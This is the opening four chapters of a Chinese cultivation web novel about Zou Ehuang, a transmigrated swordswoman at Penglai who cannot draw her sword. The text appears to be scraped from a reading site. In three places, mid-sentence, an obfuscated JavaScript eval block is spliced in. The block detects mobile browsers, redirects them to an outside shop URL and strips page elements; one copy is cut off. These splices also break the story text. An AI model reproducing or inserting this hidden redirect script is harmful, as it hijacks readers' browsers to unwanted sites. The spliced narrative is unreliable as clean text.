《修真界第一苟王》 1. 第 1 章 天上仙山蓬莱岛,天上仙人蓬莱人。 在众人的印象里,蓬莱不说是人间最神秘莫测之处,也合该是仙山琼阁。 门下弟子不说是仪表堂堂的气派,也该是风流倜傥的自在。 ...怎么会有人毫无形象地醉倒在这? “师叔,师叔——邹师叔!” 冷冰冰的声音到最后已有气急。 是谁在叫她? 邹娥皇昨夜饮了道祖藏在天山上的醉花酿,如今蓬头垢面地倒在亭子中,只恨最好再不醒来。 如今骤然被叫醒,除了醉眼朦胧外,就只剩下了一身未醒的酒气,眯眼看向喊她的人。 来人身穿蓬莱子弟的道袍,袖口处又比旁人多了个狰狞恐怖的双头神兽像,除了蓬莱当今大师姐青度,却还有谁? 此刻正持着一把云雾铸成的坎天剑面无表情地看向她。 阴森森地,瞧着很吓人。 “青度啊,好好和师叔说话,把剑放下。” 另一侧原来还有人。 邹娥皇幽幽望去,只看见了穿着一身晴蓝长袍的师弟鱼澹。 鱼澹狭长的桃花眼微微笑,却不是对着她的。 山路上,还站着百十来个珠光宝气的修真者。 鱼澹对着看呆了的百十来人拱手歉意道:“还叫诸位见笑了,自从师兄兵解后,师姐便整日里饮酒度日,不知今夕何年。” 邹娥皇脑袋发蒙,只是看着这一群浩浩荡荡腰配名剑的人,想了有好半天,才想到今日是蓬莱百年开山邀人论道的日子。 自己在这里醉酒,是挡了他们上山的路。 一时十分的酒气也散了八分,只余下两分的讪笑。 邹娥皇识时务者道:“对不住了,扰了众位雅兴,我这就走。” 她脚步拖沓,乱无章法。 在枫叶上划出一道道声音。 形如凡间醉汉。 再是缥缈的仙衣披在这人身上,也好像是媚眼抛给瞎子看的暴殄天物。 “嗬。” 人群中不知道是谁先笑了。 笑的人正大声道,“早就听说蓬莱道祖收了四名弟子,但没一个能继承他衣钵,如今一看果真不假!大弟子容有衡,人号崖山道君,奈何自负一生,蜉蚁撼树,和那大乘境妖王对抗,连个灰都没能落下,还是最后我昆仑剑皇出手一剑才替他报仇——” 前面那醉醺醺的女修离开的脚步一顿。 原来是昆仑的剑修。 她想。 百年不见了,怎么还是这么烦人。 “二弟子邹娥皇,少时成名,然亦于天骄宴上败于我昆仑的剑皇,此后终日荒唐度日,剑心破裂,如今人前萎缩,哪里有一丝修真者与天斗的模样?至于剩下两个...一病一残,哪里还有一战之力?” 青度持剑的手绷直,眼中闪过簇簇火光。 连一旁的鱼澹也收敛了笑意。 来者不善。 他余光中微微看了眼邹娥皇没转过身来的背影,按住了青度要出剑的手。 摇了摇头,示意稍安勿躁。 鱼澹不怕被人说是病秧子,但他怕被旁人试探出了蓬莱的底细。 “你们扯我作甚,难道我说的还不是实话?你们怕蓬莱,我昆仑可不怕!”被同行人嘘声的男修还在大叫,他哈哈大笑,轻提脚步,翩翩白袍鼓起烈风,落于众人前。 “蓬莱如今老的闭关,小的不济,落寞已成事实。还有什么必要在这里聆听仙音?不如众位随我回昆仑,和剑皇阁下纵情论道他个三天三夜,岂不快哉!” 天下仙山蓬莱岛,地上苦舟昆仑山。 这曾名震一时的谚语,在这十来年间却一夕颠倒。 随着蓬莱崖山道君容有衡死于妖王之手,昆仑闭关剑皇一剑济世后,这句曾火遍修真界大街小巷的话,一夕一夜之间变成—— 不羡蓬莱天上仙,只羡昆仑半剑霜。 而这个昆仑的剑修在这届论道的时候跳出来,很明显醉翁之意不在酒,是来争这正统之位的。 山路上,衣冠不整的宿醉女修终于侧过身。 “后生,”她道。 邹娥皇和他们昆仑引以为傲的剑皇是一个年代的人。 因而这句后生,她说得起。 “你手上拿的可是西吹雪?” 白袍飒飒的何九州又是哈哈一笑,腰间配着的名剑应声出鞘。 “怎么?几千年不出剑的邹剑仙也识得小辈的剑?” 邹剑仙是邹娥皇年轻时的诨名。 从她剑心破裂起,她就再也没拿起过剑,自然也就没了这诨名。 千年过去,直到又被这昆仑年轻的剑修喊出。 众人于是才看见她背后还背了一把裹着厚黑布的包裹,看形状只能勉强认得背的是一把剑。 和何九州那如白银流星一般的西吹雪相比,只能说是贻笑大方。 “识得。”她心平气和道。 “你师尊近来可好?” 这一句话下去,方才窃窃私语的人群一瞬间鸦雀无声。 鱼澹挑了挑眉角,唇角隐隐有笑意。 是他小瞧了师姐。 气人的本领还是这么强。 何九州是昆仑近几年蒙养的一头恶犬,逮谁咬谁。唯一的弱点就是他自幼被人算了一卦,说克亲,是天煞孤星下凡,在被昆仑山上天机子收养后,天机子掐指一算,给他取名何九州,要拿凡人九州的富饶之气来镇压他名字的煞气。 奈何十几年过去,天机子突破大乘失败,已有了天人衰像,所以背地里有人揣测,何九州还是那个天煞孤星,再取个何十四州都没甚么用。 要不然好端端的天机子是怎么会沦落到五衰,还不是被他煞气冲撞的运道不好了。 猜是这么猜的,却没人敢真在这疯狗面前说。 ——除了这位。 “怎么,你为何不说话了,难道你不是天机子的弟子?” 邹娥皇蹙眉。 她倒不像众人揣测的那样,甚至见到何九州恨不得拔剑砍了自己的怒意时—— 还有些许的不知所措。 她难道说错什么话了么? 邹娥皇想了想,没有吧。 方才她本想转身直接离去的,毕竟这些剑修的烦人她早已见识过,不如都交给鱼澹解决。 只是忽然感应到一股老友留下的剑息,这方才回头。 多嘴问了一句。 “我、是。”何九州一字一句道。 他收起了笑,维持着拔剑的姿势,气势逼人。 这架势是准备邹娥皇再多说一句话就抽剑而出。 师尊五衰乃是他的逆鳞,他不允许旁人在他面前多说一句。 下一瞬,只听女声温和。 “西吹雪是天机子的本命剑,年少时我曾和他论过道,他既然给了你,便是认同你,还望你切莫珍重,不要负了他的道。” 邹娥皇看着这个对着自己张牙舞爪的少年,随口提点道。 她同天机子算得上半个老相识。 虽然不知道向来主张上善若水的天机子为何收了一个杀伐煞气的弟子,但她想自己总该提点一二的。 哎,上了年纪的人就是有这点不好,看谁都想指教一下。 邹娥皇摇头晃脑地背过身,再度走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252000|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远。 全然不顾旁人心里激起的千层浪。 何九州怔怔地看着自己手里的剑,这还是头一次有人说,自己的师父认同自己。 还有这把剑,竟是师父的本命剑么? 邹娥皇说她同自己师尊有交情,那又值多少钱的交情,他今日这样对她,日后师尊知道了会不会怪罪? 还有她说自己负了道...师尊的道... 何九州身上的气势节节败退,呆呆立于原地。 下一秒众人只听得一声铮鸣的剑声出鞘,不由回头望去,唯见那一开始就冷着脸的蓬莱这代大师姐青度,剑光一闪。 “此处是蓬莱山口,诸位有不服者尽可归去。蓬莱山门百年一开,乃是道祖立下的规矩。然蓬莱只渡有缘人,若有人进山之后还要口出狂言,不尊不敬——” “——便如此叶。” 袖间绣着的兽头随着持剑的手一抖,刹那间万点寒芒。 秋叶都化作零碎的残片于西风中起舞。 青度话音一落,众人才将神思收起。 不管如何,蓬莱道祖还活着,只要他还活着,他们来这里对于蓬莱的任何试探,都不好太过直白。 没看连何九州那个疯子,如今都一言不吭,乖乖跟着进山门了么。 靠在镇山石上鱼澹,这才伸了伸懒腰,揽过残桌上余下的一壶酒,纵饮而尽。 下一秒,掌风大合。 方才还和天地勾连的蓬莱山,巍峨如天柱的蓬莱山,竟就这样轻飘飘地往天上飞去。 天下自古有十四州,四海。 而天上,只有一仙山。 随着仙山轰轰然地升起,山上的人也都有几分地惊愕。 谁说鱼澹已经是个自断前程的废人?哪家废人还能随便驱使起一座重若千钧的山? 半山腰上,慢吞吞走路的邹娥皇幽幽抬头。 她脚下的土地就像生出了血肉,正在不断地像上翻涌。 五千年了。 她已经在这仙山上住了五千年了。 哎,还是有点晕山。 今天见到带着天机子佩剑的何九州时,邹娥皇才蓦然反应过来,原来哪怕在修真界,她竟然也成了上一辈的人物。 西吹雪都易主了,她还没把自己的剑拔出来。 别人都开门收徒了,她还是那个修真界的伤仲永。 剑皇手下败者无数,其中不乏一些和邹娥皇一样再也拿不起剑的人。 她混迹在其中,只比旁人多了一层蓬莱道祖之徒的身份。 但多的这一层身份已足够了。 蓬莱道祖是占据一方天地的强者,昔年里劈蓬莱造仙山,力压昆仑老祖,谁不尊称一句大能。偏偏开山立派后收的四个徒弟,一死一废一病一残。 好歹,邹娥皇在这里面,还算是身体健康的那个。 但旁人或说是人力不及,唯有邹娥皇是众所周知的被剑皇吓破了胆,所以修真界偶有提起她的,也多是嗤笑。 拿剑的人却被旁人的剑吓破了胆,岂不好笑?天赋再高又有什么用,终究只是一时的惊才艳艳。 都在猜蓬莱道祖什么时候把她赶出山门。 邹娥皇想,哪用得着你们猜,她这就自扫下山。 她算过了,《踏破蓬莱第一剑》的主角方半子已经出世五年了。 再过二十年待他成长起来,必会杀上这蓬莱。 到时候是天云裂变,大能交手。 还有她这个混了五千年的修真混子什么事。 她也好穿回她那没有打打杀杀的故乡了。 是的,邹娥皇这个人尽皆知的废物,是个穿书者。 2. 第 2 章 作为一个穿书者,邹娥皇早年间也畅想过一些不切实际的事,譬如说抢主角资源啦什么的。 但等她摩拳擦掌地准备要去干这件事情的时候,才骤然发现一件事。 她和主角原不是同一个年代的人。 主角进入的那些大能陨落才留下的秘境也好,无意中拥有的法宝也罢... 大多数要么大能还没陨落,要么法宝还没被炼出来。 好么,邹娥皇叹了口气。 就当是老天对于她的磨砺呗,既然早来彼世五千年,总该是要让她闯出个什么名堂的吧。 说不定,她早来的五千年,就是为了给主角送东西的。 干不成主角,总能干成一方大能吧。 于是她又摩拳擦掌潜心修炼了诸多年,等到旁人印象里蓬莱道祖收了个惊才艳艳的二徒弟时,她正准备在天骄宴上威风凛凛的现身时—— ——就被还年轻的剑皇宴霜寒从天上打到了地上,几百个剑招对着她齐齐攻下来,邹娥皇连反手的能力都没有。 也就是被人打倒在擂台的哪一刻,她望着闪着寒芒的剑端,嗅着自己身上迸裂出的伤口弥漫的血气,有那么一瞬间,她才终于反应过来。 这是修真界。 一个搞不好就要死人的修真界。 当时的宴霜寒年纪轻轻就已经是一张冷脸,他单单站在那里,邹娥皇看他一眼就知道他和自己这种堆砌出来的名声不一样。 具体哪里不一样呢? 人家真的见过血。 二十岁金丹初成的时候就从魔窟一路杀到了幻海天,浑身上下就一把铮铮铁剑。 “剑是好剑,可你握不住它。” 宴霜寒对她说,“我的剑是为了杀,以杀止杀——” “你的剑,又是为了什么拔出来?” “邹娥皇,我听说你是第一个用凡人之资攀爬上苍云山的人,所以蓬莱道祖破格收你为徒。但你为什么要选择剑?” 那个冷脸少年用剑把她逼到绝处,眼里是真实的困惑不解。 “你为什么要选择剑?” 邹娥皇回答不出来。 她甚至有些恼恨,她想自己招谁惹谁了,就是出场方式抢风头了点,但宴霜寒你个后世的剑皇你至于么,一言不合就拔剑相向。 你管我为什么? 她想。 从那天起,邹娥皇就拔不出她的剑了。 从那天起,惊才艳艳一时的邹剑仙就陷入了沉寂。 因为她学会了一个配角身上最重要的品质。 苟,低调的苟,猥琐地苟。 人家主角是越级杀怪,而你配角张扬着张扬着,说不定就变成了被越级杀的怪。 但与此同时,她看着自己十五岁铸成的本命宝剑,如今再也拔不出来的模样,不禁有些说不清道不明的伤神。 于是她也不知为什么,竟日复一日,假装手里握着一把空剑,在无人处比划,在古籍书简中研磨。 或许是山中岁月长。 或许她本来就是这样的人。 她从来不是旁人以为的伤仲永,她只是一个犟驴般的庸才。 五千年,就是精怪都该化形了。 她日复一日地模拟着剑招,却始终没能发出一丝一毫的剑气。 前世,别人刷了十页题她却还在背那一页书,最后磕磕绊绊地读了许多年,把那些理论也好实践也罢都用大量的时间去学习。 可她仍是学不会。 她学不会。 小姑娘在无数个日夜里哭过挣扎过,她看着同龄人一个个比她站得更高望的更远,她要研读千百遍的知识别人轻轻松松地就理解了。 可她就是学不会。 学不会变通。 也学不会放弃。 她固执地让人头疼,她勉强的毫无必要。 蓬莱道祖曾叹息,说自己不该收她,反而是误人子弟。 “你不适合剑,邹娥皇,如果你要改学他法,符禄也好,丹道也罢,天下大道三千,少有吾不精通的,只有剑道,你不合适,吾能教你天下最精妙的剑法,但吾无法给你拔出剑的勇气。” 蓬莱道祖亦问了她那个问题,“为何当初要选择剑道?” 邹娥皇答不上来。 她的惶惶程度简直不亚于大学课堂上被老师随机抽上来写数学题。 “我...我...我为了——” 邹娥皇在心说,当然是为了一剑惊四座。 她答不上来。 别人不是为了什么保护,就是为了什么以杀止杀,不是为了天下,就是为了苍生。 只有她,是为了旁人的另眼相看。 她还没法承认,哪怕穿书了,主角竟也不是自己。 哎,当然。 这是二十岁出头的邹娥皇说不出来的话。 并不能代表五千岁多的邹娥皇。 不过片刻功夫,她已然没心没肺的早已将先前何九州的话抛之耳后,正快活地在蓬莱隐秘的湖池中捞鱼。 蓬莱是蓬莱道祖取先天灵山拿不灭神火铸造的灵山,天生的灵气逼人,在这里修行,一日赛过十日。 就连这里的鱼,也比旁的地方钓上来的鲜美。 邹娥皇有时候想,要么就在这里钓一辈子鱼吧。 说不定哪天就遭了雷劫飞升去了呢。 “吧嗒、吧嗒。” 忽然空中传来一阵怪异的声音,像是纸在拍叶。 被施了术法的纸鹤从万里高空俯冲,最后落在湖里。下一瞬如无形的墨般染了泱泱一池字的水。 没法钓鱼了。 邹娥皇失了刚刚轻快的笑意。 下一瞬,泱泱的墨迹在这池中变换。 “来论道,或者挨顿打。” 言简意赅。 笔墨遒劲有力,一眼望去更有道法变化万千。写字的人必是修为化臻,才会一举一动间向外泄露道法。 而在长幼有序的蓬莱,只有一人能对邹娥皇这么说话。 便是她那个老不死的师尊,蓬莱道祖。 邹娥皇拖着沉重的脚步。 慢吞吞地向西山顶的传功殿踱步。 下一瞬有仙鹤却从湖中破啼而出,叨起她的衣领就向传功殿飞去。 有大能,点水为山,化山为雨。 化云为土,以云托山,这说的便是蓬莱道祖最为人熟知的本事,如今哪怕是小小纸鹤,他都能变出个真的来。 邹娥皇想不明白,她这么有本事的师尊。 怎么还没飞升,还要一百年上一次班似的在这里传道。 …… 蓬莱论道。 每逢百年得遇一次,是蓬莱道祖于天际挥洒一百张请名帖,有缘者得之,能入殿论道。 因为在座的散修有之,名门正派的人也不少。 彼此间各有各的瞧不上,当然也有像是何九州那样的昆仑疯狗,虽然得了请帖来了,目的却是为了在主人身上咬下一块肉。 按理来说应当是硝烟弹雨的那种氛围。 但此刻正出奇一致刷刷地看着大殿半开的门扉。 有一个背着厚布剑的修士跌了进来。 屁股着地的跌。 修士揉了揉脑袋,龇牙咧嘴,然后抬头才看见大家都在看她,面色一下子就僵了一下。 ——赫然是刚刚山门口的蓬莱之耻邹娥皇。 “你没事吧?” 好温暖的人文关怀。 邹娥皇听了后莫名有些感动。 正当她打算抬起头看看是哪一位仁兄的时候,看见的却是呲起来雪白的牙。 原来是何九州。 何九州殷勤地将团垫给她放好,期期艾艾地问道:“邹前辈,你说你和我师尊算半个老相识是怎么回事?” 蓬莱道祖还没进来传道,因而场上还能自由交谈。 邹娥皇接过对方灵茶的手一颤。 多少年没小辈给她敬过茶了。 “你可能不知道,其实在我们那个年代,蓬莱和昆仑还没有如今这么的水火不容。” 她吹嘘道。 说起来五千年前,蓬莱和昆仑都是刚刚建宗,子弟敝零,没什么王不见王的必要,甚至由于宗门理念在某方面的不谋而合,有那么几百年,还是出了名的兄弟门派。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252001|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门派相合,弟子们自然也玩得好。 不过她说的半个老相识,当真却只有半个。 “……” 何九州沉默了。 他忐忑地想起了今早自己的肆意妄为。 “我第一次见天机子的时候,他是你们宗门最厉害的——” “剑师?!” 何九州激动问道。 他想自己师傅果然是有些光辉岁月。 “画师。” 邹娥皇奇怪地看了他一眼——何九州生的本就有些傻气,如今呲牙咧嘴的,叫人不忍直视。 想什么呢? 你们宗门不是已经有了个叫宴寒霜的剑皇吗。 不过剩下半句话她没说出口,她想年轻人对自己师尊有些不切实际的愿景总是好的。 事实上,她印象里的天机子,一向是不怎么善剑的。 何九州脸一下子变成了绛紫色,下一秒他转身瞪起眸子看向那些偷听还发笑的人。 “我们相逢于天骄宴之前,那个时候西吹雪只是他拿来当案板切菜的工具,在秘境里我和他论过道,也救过人,后来再有联系,便是崖山几别了。如今说来,竟总觉得那些快意的日子还在昨日,不过悠悠已经是几千年前啦。” “嘶——” 何九州吸气。 他想起来了。 邹女一剑落九仙,赵郎一笔平不平。 这是他之前上山时拿来嘲讽邹娥皇的那一句邹剑仙的来源,而这句诗的另一个主人公,姓赵。 他的师父天机子,也姓赵。 如果西吹雪这把宽剑是菜板的话,他师父当年用的武器应当就是如今被束之高阁的判官笔。 而这之后的不久,在秘境里临时搭伙的邹女赵郎就一齐亮相于天骄宴。 命运的残酷性与巧合性。 造就了,两人从此后就是天差地别。 造就了秘境一别后,竟再无瓜葛。 天机子成了天,纵使如今天人五衰,也是和剑皇崖山真君位列一席的强者。 而邹剑仙则从仙变成了零落到地上的泥,成了蓬莱挂在明面上的烂泥。 扶不上墙的那种。 “邹前辈,我对不住你,那句‘邹剑仙’我...我虽是有心,但并非有意。” 何九州艰难道。 那时他怎知,这背后竟还和他师父有这么一段故事。 他虽当时有心要刺她来给蓬莱没脸,但并非是要借着天机子徒弟的身份来给她添心障。 毕竟他是狠毒,不是恶毒。 “无碍。”邹娥皇平静道。 “你说的是事实,‘二弟子邹娥皇...终日荒唐度日,剑心破裂’这些都是事实。我确实拔不出剑了。” “所以没什么好抱歉的。” 她轻声道。 然后愣神道,“该是我抱歉才对,是我辜负了那句邹剑仙。” 何九州看着这个本该是懦弱无能的‘邹剑仙’平静地反过来安慰他,他心中比方才还要不好受百倍。 真奇怪。 他想,这比我在无望关下受刑还要难受百倍。 大约是因为,自己在她身上见到了师父的影子。 宽和,平静地叙述着自己的所不能。 天机子曾平静地对他说,自己渡劫失败了,准备接受天人五衰。 如今邹娥皇不以为意地跟他说,那柄她在肩上背了五千年的剑,她一直拔不出来。 他不懂这些人。 修士,不就该是与人斗,与天斗么?不斗个头破血流,怎么好说自己不行。 “邹前辈,这次论道结束,不如跟我去昆仑看看罢!” “不好吧,”邹娥皇委婉道,“毕竟现在昆仑和蓬莱——” “没什么不好的,”何九州壮志道:“我们昆仑和你们蓬莱不一样,全是剑修,你同我回去,多看看别人的剑,说不定哪天就拔出来了。” “再有不行,就去请剑皇出来,以毒攻毒!” “???” 邹娥皇大惊失色。 现在这些小辈们怎么回事,剑皇是那么好请的吗? 3. 第 3 章 传说蓬莱道祖是天上的鸿云所化,是众生百相,他可以是男身,也可是女身,甚至都不必是人身。 但就算是这么说。 当一朵软乎乎的白云飘进传功殿的时候,大殿还是鸦雀无声。 何九州瞳孔震惊地看着大殿上方的白云。 不是吧。 蓬莱道祖长的这么潦草的么? 就算是云,不应该也是鸿云么,难道就没什么特殊的红气么?怎么飘在那里和真的白云生的一模一样啊喂! 邹娥皇哪里知道这群人在想什么,她神情复杂地看着那团云,暗道又来了。 果不其然,那白云渐渐变形,最后捏出来了一个宝相庄严雌雄莫辨的祖师爷。 这一手变幻莫测的身法,成了这论道大殿的开端。 人群爆发出一阵叫好连连,蓬莱道祖谦虚地抬了抬手,示意静声。 接着他目光一凝,越过座无虚席的前排,落在了大殿最后方的两个人身上,青筋直跳。 不孝徒弟,怎么又和昆仑的人混在一起了! 蓬莱道祖轻轻地呼出了一口气。 想自己这一生里,气运有,修为有,临到末了,却跌在了这几个徒弟身上。 “诸位,今日来吾蓬莱论道。不问归期,不问俗世。半脚踏吾蓬莱岛,自当为吾半道友!” 蓬莱道祖轻轻一拂袖。 底下听道者近百,无一不感到身上垢气消散,灵气轻盈,再观那话,隐隐有道气入耳,境界松动之势,不由得目露赞叹。 绕是昆仑毒唯何九州坐在这里,也禁不住暗想,只要蓬莱道祖不灭,蓬莱永远都是瘦死的骆驼比马大。 可若是蓬莱道祖没了呢? 这个念头一起,何九州便掐灭了。 “论道共有三重。第一重,吾要与诸位论论为何求仙?” “有人言,是为了个长生不老。可你们怎知这沧海桑田真的能让你缩地成寸踏过去?得道高者,如吾与昆仑老祖,境界已然脱于当世,可仍不能成仙。那么成仙是否只是个幌子?或者只是苟且偷岁者的手段,难道吾辈终其一生,都不得堪破这片天地么?” “诸位请言——” 邹娥皇坐在原位上,看似兢兢业业,实际上已经开启了小差。她下意识地双指并拢,模拟着剑术在那里划来划去。 因为这个答案她知道。 不久之后的某一天,这本书叫方半子的那个主角,会划破这片天地,成为万古第一个求仙成功者。 蓬莱道祖也好,昆仑老祖也罢,他们再强都注定要失败。因为他们和她一样,都是配角。 配角是不能抢主角的戏份的。 何九州往身侧邹娥皇处一瞥,原本还在仔细思考蓬莱道祖话的他豁然顿住。 是他最近修炼走火入魔了么? 怎么看什么都像是剑法。 不对,不对劲。 邹娥皇那个指法练的是他们昆仑的剑法《流云十三诀》吧! 虽然没什么剑气外溢,也没什么灵气,可那双指的每一处滑动,何九州都好似能看见一个翩若游龙的身姿在那里练流云剑法。 而且极其精妙。 他闭上眼。 此刻竟听不见蓬莱道祖的传道了。而是在脑海中出神地排演着邹娥皇刚才随意的指法。指法如有形,何九州再次睁眼的时候,发现自己前些天堵塞的一个关窍已经赫然挣脱而开。 他目光复杂地落在身侧这个众人都知道使不出剑的废人身上。 忽然想起来,在很久以前,这个废人或许也曾是和他一般年龄的天之骄子。 有些苦涩。 “邹前辈,你一直...这样么?”他低声问。 “什么?”邹娥皇没反应过来,她想莫非是自己开小差被发现了。 当下讪笑了一下,把手背到身后,“没有没有。” 何九州看她的目光却变得愈来愈奇怪。 上面的蓬莱道祖开始叫人起来论道了。 “小生乃无量书院祝平安,在这里见过蓬莱道祖与诸位道友。” 穿着豆绿色外衣的儒道书生于座下起身,木着脸拱手拜了一圈。 “小生认为求仙在于磨砺心智。山间岁月长,普通修士只要跨过金丹,便是五百年的岁月;跨过元婴,便是千年的道行,之后是化神期,合体之上再有渡劫,渡劫之后方为大乘,然后与天斗化神仙。然而纵使修士修至元婴便有近乎千年的寿命,但能活过千年的,仍只是寥寥者。” “这说明什么?这说明我辈修士,大部分不是亡于寿,而是亡于己。我们求仙不就是为了去看天下风光,做逍遥神仙的吗?所以我们上秘境下魔域,不畏艰险,不惧生死,此乃修仙!若我们畏畏缩缩困于一地,就便求得长生,又有何意?” 邹娥皇听的若有所思。 何九州则想虽然他没看透邹娥皇的修为,但约莫着是因为蓬莱道祖给她了个什么法宝,所以才叫人看不透。 估计撑死也就是个元婴或化神。 刚刚这修士说的虽叫他热血上头,但对于邹前辈这种一直呆在蓬莱的人来听,大约无意于指桑骂槐。 哎。 痛,实在是太痛了。 蓬莱道祖微微笑,他抬手,乾坤袖里便出现了九品灵芝,缓缓朝祝平安飞去。 “善。” 得了道祖的鼓励后,祝平安便收了袖子,坐回了原位。 这个时候大殿又忽然传来一阵银铃的笑声。 伴着笑声寻去,众人才发现是七彩阁的女修,娇艳的红衣勾勒出玲珑有致的身形,眉目姣姣如画,竟让人有一瞬间的目眩神迷。 百花团团绕着她盛开,殿外蝴蝶亦踏风而来。 女修应当是修了些音法,她一笑,脚下砖缝里便生出了杂草与花苞。 “七彩阁尹芝见过道祖与诸位。” 尹芝顿了顿,弯眼轻轻笑道:“和方才那位道友不同,我认为求仙是为了享乐。” 此话一处,满堂哗然。 尹芝是近几年名声鹤起的女修,不仅因容貌,更因她绝伦的天赋;常有人说,尹芝从不需打坐,一举一动都是在呼吸灵气。 唯见上首的道祖颔首道:“善。” 又是赐了一颗九品仙芝。 邹娥皇听见尹芝这两个字忽然神魂一震,这不是方半子后宫之一么—— 神魂一震,手上动作就稍放松了一二注意力,流云第十三诀直接使出最后一诀,直上云霄。 简单来说,就是右手高举。 “哦?” 众人只见道祖不知为何竟笑了下,一时便顺着视线望过去。 “邹娥皇,你竟也有道要论,为师甚慰。” 直到邹娥皇被何九州推到人前的时候,她都还有些懵。 都什么跟什么? 修真界什么时候流行过举手了? 老祖误我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252002|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她看着底下乌泱泱盯着自己的人,实在是不好意思说是一场乌龙,只好清了清嗓子。 “诸位好,道祖好。” 女声淡淡,听起来没甚特色。 她也确实是蓬莱道祖座下最没存在感的弟子。 她的师兄容有衡,虽然近几年提的少了,可也曾是和剑皇比肩的人物;她的师弟鱼澹,虽如今已是病弱之躯,但手里也能撑起一方天地;还有她的师妹,是传说中的修真界第一美人。 独独如今站在他们面前的这个邹娥皇。 面色平平,气运平平,修为...虽看不出浅深,但约莫是因为她有什么遮掩的法宝。 整个人若不是站在这大殿前方,恐怕人见之既忘——和方才那个姿容出众的女修简直是两个极端。 众人正这么想着,就听见了一阵捧场的掌声,回头看却是那个和蓬莱一直过不去的何九州在那里使劲给她拍着手。 “好好好!” 白衣少侠一脚踩在莆垫上,黑丝飞舞,眼眸带笑。 和他的兴高采烈不同,当事人邹娥皇尴尬地有些想叫仙鹤叨自己出去。 她低头沉吟了片刻,最后还是开口了。 “我求道五千年,应当是在座的各位除了老祖之外时间最长的一个。但是关于为何求仙,我并不知。只是那日一观苍云顶,才察我生之渺小。见道祖抬手成云海,不觉羡慕,故来求仙。” 她真挚道:“我是庸人一个,来这仙途自扰。求仙只因‘羡慕’二字,从无坚韧之心,因此步步错,于天骄宴得见真天蛟,从此剑心破裂,再无求仙可言。” 众人窃窃声忽然消失,他们哑然看向中央这个面目平平的女修,在那般平凡的面目上,好像见到了另一个时代的缩影。 剑皇一剑斩寰宇,丹王一炉造万物。 前有龙主越海,后有妖王霹雷,佛子渡情。还有数不清的碧霞仙子、第一美人... 他们都是听着这些人的名字长大的,可天下并不只有这些天资绝伦的修仙者。更多的人,其实是“邹娥皇”。 是天骄宴上成就剑仙威名的点缀。 那他们自己呢? 今日位列天骄之列,在蓬莱道祖座下论道,焉知未来有一日,会不会是第二个她,心灰意冷到再也拿不起剑的她。 然后这般于周目睽睽下,承认自己无能。 “…但今日既然我站在这里,我大约本意并不是想和诸位发这种牢骚的,”邹娥皇微微笑。 开玩笑,这可是一群均龄不到百岁的小年轻。 怎么可能让他们这么年轻就开始躺平。 自己年轻的时候都没享受过这种美事,还要经历一番现实毒打。 哎,这个年龄就该鸡鸣练剑,休息打坐的。 “我想说,你们或许就是来日的剑皇、丹王。只要你能拔出自己手心的剑,就有继续再战的可能!” 在她身后的蓬莱道祖这次没说善,只是说:“你说的不错,邹娥皇,你有没有想过——” 道祖平静地问,“若你拔出剑,不在剑皇之下?” 雌雄难辨,如神低语。 若邹娥皇拔出剑,不在剑皇之下?! 百十个论道的人无不震惊,此刻大殿回音重重,唯见祥云缭绕,金光穿窗。 剑皇宴霜寒,一剑动天下。 十四州莫有不闻,四海内莫有不怕。 更别提,他还是碎了邹娥皇剑心的那个人。 4. 第 4 章 “可是道祖,我拔不出剑了。” 邹娥皇哭笑不得。 她耸肩重复道,“我已经拔不出剑了。” 人群中这次没传来笑声。 反而都被邹娥皇的回答一噎。 他们听着道祖怒其不争的叹息,看着平平无奇的邹娥皇神色平静地坐回了位上,心中具有一分的不平。 凭什么...道祖会对邹娥皇这样的人另眼相待。 这样的人,和剑皇一道提起来都是剑皇的耻辱! 可恶! 昆仑那个疯狗呢?还不速速出来当他们嘴替。 终于在噼里啪啦的一阵动静后,有人站了起来。 不是何九州,不是昆仑剑修。 而是娇滴滴的女修尹芝。 “蓬莱道祖!”尹芝直接站起身来。 对着道祖大呼小叫...莫不是疯啦?众人咋舌。 “我师尊乃是西岭天女,她曾千里来昆仑求师,但不得您的青眼,后发奋图强,自成一方霸主,创立七彩阁庇护我等女修——” 娇红女修飒飒立于殿下,邹娥皇这般看她,才发现尹芝眉眼美艳张扬,像极了昔年那个红衣小姑奶奶。 尹芝、尹芝—— 原来是故人的那个尹。 邹娥皇忽然微微笑,这笑让她的面容变得无比柔和。 哎。 众人不知邹娥皇这一声是为何叹气,就见下一息尹芝轻抬玉臂,闻名遐迩的红绫在众人头顶飞舞。 阳光都变作细沙投落在这红绫之下,粼粼如水河,妙不可言。 年轻的女修道,“如今在大家的见证下,小女替师尊来问一句——” 嗖的一声,红绫便直指邹娥皇。 邹娥皇略有怀念地轻轻戳了戳这红绫。 多少年了都。 